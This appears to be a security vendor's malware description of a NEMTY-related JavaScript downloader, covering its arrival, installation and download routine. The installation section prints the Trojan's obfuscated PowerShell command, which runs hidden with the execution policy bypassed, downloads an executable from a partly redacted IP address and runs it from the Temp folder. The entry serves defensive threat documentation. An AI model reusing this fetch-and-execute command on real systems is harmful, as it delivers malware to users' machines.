Trojan.JS.NEMTY.THBBHBO

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It downloads a file from a certain URL then renames it before storing it in the affected system. As of this writing, the said sites are inaccessible.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

• "%System%\cmd.exe" /c hMLWtlbsdHkTjom & Po^wEr^sh^elL.e^Xe -executionpolicy bypass -noprofile -w hidden $v1='Net.W'; $v2='ebClient'; $var = (New-Object $v1$v2); $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://{BLOCKED}.{BLOCKED}.197.190/nnn.exe','%temp%erb19.exe'); & %temp%erb19.exe & OWNHgawUJSfreRD

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}.{BLOCKED}.197.190/nnn.exe

It downloads files from the following URLs then renames them before storage in the affected system:

• %User Temp%erb19.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

As of this writing, the said sites are inaccessible.